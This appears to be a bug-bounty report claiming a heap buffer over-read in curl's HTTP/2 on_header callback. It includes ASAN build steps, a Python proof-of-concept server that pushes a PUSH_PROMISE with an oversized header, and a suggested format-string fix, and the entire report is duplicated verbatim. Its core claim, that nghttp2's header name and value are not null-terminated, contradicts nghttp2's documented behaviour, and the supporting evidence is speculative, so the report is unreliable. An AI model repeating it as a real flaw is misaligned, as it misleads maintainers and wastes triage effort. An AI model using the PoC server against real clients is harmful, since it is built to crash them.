Description
## Summary:
I have discovered a Heap Buffer Over-read vulnerability in `lib/http2.c` within the `on_header` callback function. When processing HTTP/2 `PUSH_PROMISE` frames, the code incorrectly uses the `%s` format specifier on raw pointers provided by `nghttp2`.
According to `nghttp2` documentation, the `name` and `value` pointers in the `on_header` callback are **not null-terminated**. By using `%s` without precision specifiers, `curl_maprintf` reads past the bounds of the allocated buffer into adjacent heap memory until it encounters a null byte. This leads to a Denial of Service (crash via OOM or invalid read) or potentially leaks sensitive heap memory.
## Vulnerability Details
* **File:** `lib/http2.c`
* **Function:** `on_header`
* **Vulnerable Logic:**
Inside the `on_header` function (handling `NGHTTP2_PUSH_PROMISE`), the code acts as follows:
```c
/* lib/http2.c around line 1642 in master */
h = curl_maprintf("%s:%s", name, value);
Since name and value are not null-terminated C-strings, curl_maprintf continues reading memory indefinitely.
Contrast with Secure Code: In the same file (handling trailers), the developers correctly used precision specifiers:
/* Correct usage found elsewhere in the file */
CURL_TRC_CF(data, cf, "[%d] trailer: %.*s: %.*s",
stream->id, (int)namelen, name, (int)valuelen, value);
Affected version
Reproduced on the latest master branch (commit 752d... / curl 8.6.0-dev). Platform: Linux (Reproduced with ASAN build).
Steps To Reproduce:
To reproduce this issue, you need a malicious HTTP/2 server that sends a PUSH_PROMISE frame with a payload that triggers the over-read.
Note: While curl CLI disables HTTP/2 Push by default, libcurl applications enabling it are vulnerable. For reproduction purposes using the CLI, we must ensure Push is enabled.
1. Compile curl with AddressSanitizer (ASAN)
./configure --enable-debug --enable-curldebug --with-nghttp2 --with-openssl CFLAGS="-fsanitize=address -g -O0" LDFLAGS="-fsanitize=address"
make -j4
2. Setup Malicious Python Server Save the following script as repro.py. It requires pip install h2. (You also need server.key and server.crt for TLS).
import socket
import ssl
from h2.connection import H2Connection
from h2.events import RequestReceived
from h2.config import H2Configuration
from h2.settings import SettingCodes
def run_server():
host, port = '127.0.0.1', 8443
ctx = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
ctx.load_cert_chain(certfile="server.crt", keyfile="server.key")
ctx.set_alpn_protocols(['h2'])
sock = socket.socket()
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((host, port))
sock.listen(1)
print(f"Listening on {port}...")
while True:
conn, addr = sock.accept()
try:
tls_conn = ctx.wrap_socket(conn, server_side=True)
config = H2Configuration(client_side=False)
h2 = H2Connection(config=config)
h2.initiate_connection()
tls_conn.sendall(h2.data_to_send())
while True:
data = tls_conn.recv(65535)
if not data: break
events = h2.receive_data(data)
for event in events:
if isinstance(event, RequestReceived):
# Force enable push in python state to bypass checks
h2.remote_settings[SettingCodes.ENABLE_PUSH] = 1
# Payload: Long string without null terminator concept in H2
headers = [
(':method', 'GET'), (':path', '/pwn'),
(':scheme', 'https'), (':authority', 'localhost'),
('x-trigger', 'A' * 5000)
]
h2.push_stream(event.stream_id, 2, headers)
tls_conn.sendall(h2.data_to_send())
tls_conn.sendall(h2.data_to_send())
except Exception:
pass
finally:
conn.close()
if __name__ == '__main__':
run_server()
3. Run the Attack
- Terminal 1: python3 repro.py
- Terminal 2: ./src/curl -v -k --http2 https://127.0.0.1:8443 (Ensure the libcurl used accepts Push, or modify lib/http2.c to force ENABLE_PUSH=1 for testing).
4. Observe Results The curl process will either crash with an ASAN report or return error (56) ... returned -902:The user callback function failed.
The error -902 confirms that on_header failed, likely due to memory allocation failure when curl_maprintf attempted to read gigabytes of heap data starting from the non-null-terminated buffer.
## Impact
Impact
This is a heap buffer over-read.
1. Denial of Service: It causes the client to crash or exhaust memory.
2. Information Leak: It may leak adjacent heap data into the header string, which could be processed or logged by the application.
Recommended Fix
Update the curl_maprintf call to use precision specifiers with the length provided by nghttp2:
h = curl_maprintf("%.*s:%.*s", (int)namelen, name, (int)valuelen, value);
I have discovered a Heap Buffer Over-read vulnerability in `lib/http2.c` within the `on_header` callback function. When processing HTTP/2 `PUSH_PROMISE` frames, the code incorrectly uses the `%s` format specifier on raw pointers provided by `nghttp2`.
According to `nghttp2` documentation, the `name` and `value` pointers in the `on_header` callback are **not null-terminated**. By using `%s` without precision specifiers, `curl_maprintf` reads past the bounds of the allocated buffer into adjacent heap memory until it encounters a null byte. This leads to a Denial of Service (crash via OOM or invalid read) or potentially leaks sensitive heap memory.
## Vulnerability Details
* **File:** `lib/http2.c`
* **Function:** `on_header`
* **Vulnerable Logic:**
Inside the `on_header` function (handling `NGHTTP2_PUSH_PROMISE`), the code acts as follows:
```c
/* lib/http2.c around line 1642 in master */
h = curl_maprintf("%s:%s", name, value);
Since name and value are not null-terminated C-strings, curl_maprintf continues reading memory indefinitely.
Contrast with Secure Code: In the same file (handling trailers), the developers correctly used precision specifiers:
/* Correct usage found elsewhere in the file */
CURL_TRC_CF(data, cf, "[%d] trailer: %.*s: %.*s",
stream->id, (int)namelen, name, (int)valuelen, value);
Affected version
Reproduced on the latest master branch (commit 752d... / curl 8.6.0-dev). Platform: Linux (Reproduced with ASAN build).
Steps To Reproduce:
To reproduce this issue, you need a malicious HTTP/2 server that sends a PUSH_PROMISE frame with a payload that triggers the over-read.
Note: While curl CLI disables HTTP/2 Push by default, libcurl applications enabling it are vulnerable. For reproduction purposes using the CLI, we must ensure Push is enabled.
1. Compile curl with AddressSanitizer (ASAN)
./configure --enable-debug --enable-curldebug --with-nghttp2 --with-openssl CFLAGS="-fsanitize=address -g -O0" LDFLAGS="-fsanitize=address"
make -j4
2. Setup Malicious Python Server Save the following script as repro.py. It requires pip install h2. (You also need server.key and server.crt for TLS).
import socket
import ssl
from h2.connection import H2Connection
from h2.events import RequestReceived
from h2.config import H2Configuration
from h2.settings import SettingCodes
def run_server():
host, port = '127.0.0.1', 8443
ctx = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
ctx.load_cert_chain(certfile="server.crt", keyfile="server.key")
ctx.set_alpn_protocols(['h2'])
sock = socket.socket()
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((host, port))
sock.listen(1)
print(f"Listening on {port}...")
while True:
conn, addr = sock.accept()
try:
tls_conn = ctx.wrap_socket(conn, server_side=True)
config = H2Configuration(client_side=False)
h2 = H2Connection(config=config)
h2.initiate_connection()
tls_conn.sendall(h2.data_to_send())
while True:
data = tls_conn.recv(65535)
if not data: break
events = h2.receive_data(data)
for event in events:
if isinstance(event, RequestReceived):
# Force enable push in python state to bypass checks
h2.remote_settings[SettingCodes.ENABLE_PUSH] = 1
# Payload: Long string without null terminator concept in H2
headers = [
(':method', 'GET'), (':path', '/pwn'),
(':scheme', 'https'), (':authority', 'localhost'),
('x-trigger', 'A' * 5000)
]
h2.push_stream(event.stream_id, 2, headers)
tls_conn.sendall(h2.data_to_send())
tls_conn.sendall(h2.data_to_send())
except Exception:
pass
finally:
conn.close()
if __name__ == '__main__':
run_server()
3. Run the Attack
- Terminal 1: python3 repro.py
- Terminal 2: ./src/curl -v -k --http2 https://127.0.0.1:8443 (Ensure the libcurl used accepts Push, or modify lib/http2.c to force ENABLE_PUSH=1 for testing).
4. Observe Results The curl process will either crash with an ASAN report or return error (56) ... returned -902:The user callback function failed.
The error -902 confirms that on_header failed, likely due to memory allocation failure when curl_maprintf attempted to read gigabytes of heap data starting from the non-null-terminated buffer.
## Impact
Impact
This is a heap buffer over-read.
1. Denial of Service: It causes the client to crash or exhaust memory.
2. Information Leak: It may leak adjacent heap data into the header string, which could be processed or logged by the application.
Recommended Fix
Update the curl_maprintf call to use precision specifiers with the length provided by nghttp2:
h = curl_maprintf("%.*s:%.*s", (int)namelen, name, (int)valuelen, value);
Basic Information
ID
H1:3480078
Published
Dec 27, 2025 at 19:17
Modified
Dec 28, 2025 at 21:28